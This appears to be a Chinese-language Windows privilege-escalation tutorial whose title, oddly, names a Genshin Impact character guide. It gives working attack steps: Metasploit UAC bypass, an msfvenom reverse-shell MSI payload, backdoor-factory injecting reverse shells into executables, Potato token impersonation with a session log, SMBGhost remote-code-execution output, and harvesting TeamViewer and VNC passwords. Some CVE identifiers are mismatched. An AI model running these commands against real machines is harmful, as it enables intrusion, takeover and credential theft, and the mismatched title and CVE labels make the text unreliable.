《原神攻略》2.6版神裡綾華簡要培養教程
0x01.windows提權基本介紹
1.提權分類
縱向提權
低許可權角色獲取高許可權角色的許可權
橫向提權
獲取同級別角色的許可權
常用提權方法
- 系統核心溢位漏洞提權
- 資料庫提權
- 錯誤的系統配置提權
- 組策略首選項提權
- Web中介軟體漏洞提權
- DLL劫持提權
- 濫用高危許可權令牌提權
- 第三方軟體/服務提權
2.安全識別符號(SID)
安全識別符號(SID)是Windows作業系統使用的獨一無二的,不變的識別符號用於標識使用者、使用者群、或其他安全主體.作業系統也是通過SID來識別使用者的,並不是所謂的使用者名稱
安全識別符號一經產生,不會與全世界任何的安全識別符號重複;也不隨使用者更名而變化。如果刪除了使用者帳戶,然後再建立同名帳戶,則產生的安全識別符號是不同的。
查詢自己的SID可以通過:whoami /user
查詢其他使用者的SID可以通過WMI命令查詢:wmic useraccount where name="%username%" get sid
所有的SID都以S-1-5-21
開頭,否則將是唯一的。Windows中管理員帳戶的SID始終以500結尾。 Guest帳戶的SID總是以501結尾。您還可以在每個與特定內建帳戶相對應的Windows安裝中找到SID。例如,S-1-5-18
SID可以在您遇到的任何Windows副本中找到,並對應於LocalSystem
帳戶,即在使用者登入之前在Windows中載入的系統帳戶。
以下是使用者SID的示例:S-1-5-21-1180699209-877415012-3182924384-1004
常見的SID列表:
S-1-5-18 (LocalSystem) S-1-5-19 (LocalService) S-1-5-20 (NetworkService) S-1-5-32-544 (Administrators) S-1-5-32-545 (Users) S-1-5-32-550 (PrintOperators)
3.UAC
使用者賬戶控制UAC:UAC 是 win10 作業系統中非常重要的安全功能,它起源於 windows vista 作業系統,流行於windows7、windows8。各種功能策略得到了完善的修訂和開發,應用在win10作業系統中,目的是減少惡意軟體對系統的侵害
作業系統預設情況下是啟用UAC,當用戶執行軟體就會觸發UAC規則。執行的時候就需要許可權,否則是不會執行的。
不涉及到更改計算機操作的專案是不會觸發UAC規則的,能夠觸發UAC規則的常用操作包括以下內容:
- 執行應用程式
- 修改登錄檔檔案
- 安裝或者解除安裝程式
- 安裝裝置驅動程式
- 增加或者刪除使用者賬戶
- 複製檔案到windows目錄
使用者操作以上內容時就會觸發UAC規則,系統會彈出提示對話方塊。簡單來說,彈出對話方塊操作就是臨時提升使用者許可權,允許程式執行。
UAC的實現
-
ACL (Access Control List) : Windows中所有資源都有ACL ,這個列表決定了擁有何種許可權的使用者/程序能夠這個資源。
-
在開啟了UAC之後,如果使用者是標準使用者,Windows會給使用者分配一個標準Access Token
-
如果使用者以管理員許可權登陸,會生成兩份訪問令牌,一份是完整的管理員訪問令牌(Full Access Token),一份是標準使用者令牌。一般情況下會以標準使用者許可權啟動
Explorer.exe
程序。如果使用者同意,則賦予完整管理員許可權訪問令牌進行操作。
4.提權的基礎命令
-
net user
檢視使用者數量 -
whoami /priv
檢視使用者許可權 -
quser
檢視線上使用者
-
tasklist
檢視當前程序 -
net user a a /add
新增使用者 -
net localgroup administrators a /add
新增使用者到組
0x02.UAC繞過思路
1.Akagi工具獲取UAC許可權
專案地址:https://github.com/hfiref0x/UACME
下載後進行編譯
2.MSF獲取UAC許可權
msf > use exploit/windows/local/bypassuac |
msf > set session 1 |
msf > exploit |
沒有使用bypassuac這個模組的session,進入shell建立使用者
可以看見無法建立新使用者,被拒絕
使用bypassuac重新獲取到一個session之後,在進入shell建立使用者
成功建立
3.msi檔案直接獲取超級管理員許可權
我們可以使用msf生成一個msi檔案,在windows中,msi檔案會以高階管理員許可權執行,上線之後的許可權就是system.
前提是目標系統上啟用AlwaysInstallElevated這個策略AlwaysInstallElevated
是一個策略設定,當在系統中使用Windows Installer
安裝任何程式時,該引數允許非特權使用者以system許可權執行明msi檔案。如果目標系統上啟用了這一設定,我們可以使用msf生成msi檔案以system許可權執行任意payload。
-
首先生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.137 -f msi -o winx64TCPPayload.msi
當用戶下載該msi執行後,就能獲取到system許可權 -
msf監聽獲取shell
msf6 exploit(windows/local/bypassuac) > use exploit/multi/handler |
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp |
msf6 exploit(multi/handler) > set LPORT 4444 |
LPORT => 4444 |
msf6 exploit(multi/handler) > exploit |
msf集成了漏洞利用模組:exploit/windows/local/always_install_elevated
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated |
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp |
msf6 exploit(windows/local/always_install_elevated) > show options |
Module options (exploit/windows/local/always_install_elevated): |
Name Current Setting Required Description |
---- --------------- -------- ----------- |
SESSION yes The session to run this module on. |
Payload options (windows/meterpreter/reverse_tcp): |
Name Current Setting Required Description |
---- --------------- -------- ----------- |
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) |
LHOST 192.168.50.137 yes The listen address (an interface may be specified) |
LPORT 4444 yes The listen port |
4.dll後門注入繞過UAC
使用檔案繫結形式繫結flash.execopy /b+ a.exe+b.exe c.exe
使用backdoor這款工具注入dll或者exe the-backdoor-factory./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444 -s reverse_shell_tcp_inline
如果不知道使用什麼後門,可以直接讓程式自己判斷./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444
5.計劃任務提權
在Windows中可以利用計劃任務覆蓋原有的程式來進行替換
可以使用如下命令檢視計算機上的計劃任務。schtasks /query /fo LIST /v
使用如下命令可以檢視指定目錄的許可權配置情況。如果我們對以高許可權執行的任務所在目錄具有寫入許可權,就可以使用惡意程式覆蓋掉原來的程式。當計劃任務下次執行時,就會以高許可權執行惡意程式,進而完成提權。
accesschk.exe -dqv "D:test" -accepteula
6.Windows10 以下通殺提權
CVE-2019-1468是Win32特權提升漏洞,可以直接提權windows10以下版本
蓋提權可能導致藍屏的問題
https://github.com/unamer/CVE-2019-1458
7.JuicyPotato2.exe提權
利用MS16-075漏洞來進行提權
FoxGlove公佈(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)的potato及Tate(https://github.com/Kevin-Robertson/Tater)公佈的Tater.ps1利用程式。
- potato
msf exploit(web_delivery) > set ExitOnsession false |
msf exploit(web_delivery) > run |
meterpreter > getuid |
Server username: IIS APPPOOL\DefaultAppPool |
meterpreter > getprivs |
=========================================================== |
Enabled Process Privileges |
=========================================================== |
SeAssignPrimaryTokenPrivilege |
meterpreter > upload /root/potato.exe C:\Users\Public |
meterpreter > cd C:\\Users\\Public |
meterpreter > use incognito |
meterpreter > list_tokens -u |
NT AUTHORITY\IUSR |
meterpreter > execute -cH -f ./potato.exe |
meterpreter > list_tokens -u |
NT AUTHORITY\IUSR |
NT AUTHORITY\SYSTEM |
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" |
meterpreter > getuid |
Server username: NT AUTHORITY\SYSTEM |
8.其他
- cve-2017-0213提權,windows com特權提升漏洞元件
- cve-2021-0796 windows 10本地提權漏洞, 通過SMB協議,直接遠端命令執行(https://github.com/chompie1337/SMBGhost_RCE_PoC)
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131 |
[+] found low stub at phys addr 13000! |
[+] PML4 at 1ad000 |
[+] base of HAL heap at fffff79480000000 |
[+] ntoskrnl entry at fffff80645792010 |
[+] found PML4 self-ref entry 1eb |
[+] found HalpInterruptController at fffff79480001478 |
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0 |
[+] built shellcode! |
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 |
[+] KUSER_SHARED_DATA PTE NX bit cleared! |
[+] Wrote shellcode at fffff78000000a00! |
[+] Press a key to execute shellcode! |
[+] overwrote HalpInterruptController pointer, should have execution shortly... |
0x03.漏洞提權
1.漏洞提權思路
2.第三方軟體提權
-
3389遠端桌面
-
Teamviewer
通過工具sharpDecryptPwd.exe
收集teamviewer的id和密碼 -
vnc-控制桌面
通過工具LaZagne獲取vnc的密碼 -
filezilla-許可權較高
-
sql server-sa許可權